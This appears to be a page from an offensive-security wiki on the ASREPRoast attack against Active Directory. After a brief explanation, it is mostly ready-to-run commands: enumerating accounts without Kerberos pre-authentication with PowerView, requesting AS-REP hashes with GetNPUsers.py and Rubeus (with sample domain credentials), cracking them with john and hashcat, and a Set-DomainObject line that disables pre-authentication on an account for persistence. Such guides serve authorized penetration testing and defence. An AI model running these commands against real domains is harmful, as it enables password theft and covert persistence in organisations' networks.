52 lines
2.2 KiB
Markdown
52 lines
2.2 KiB
Markdown
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# ASREPRoast
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## ASREPRoast
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The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute \(**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**\)**_.
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That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
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Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**.
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#### Enumerating vulnerable users \(need domain credentials\)
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```bash
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Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
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```
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#### Request AS\_REP message
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{% code title="Using Linux" %}
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```bash
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#Try all the usernames in usernames.txt
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python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
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#Use domain creds to extract targets and target them
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python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
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```
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{% endcode %}
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{% code title="Using Windows" %}
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```bash
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.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
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Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
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```
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{% endcode %}
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### Cracking
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```text
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john --wordlist=passwords_kerb.txt hashes.asreproast
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hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
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```
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### Persistence
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Force **preauth** not required for a user where you have **GenericAll** permissions \(or permissions to write properties\):
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```bash
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Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
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```
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\*\*\*\*[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)\*\*\*\*
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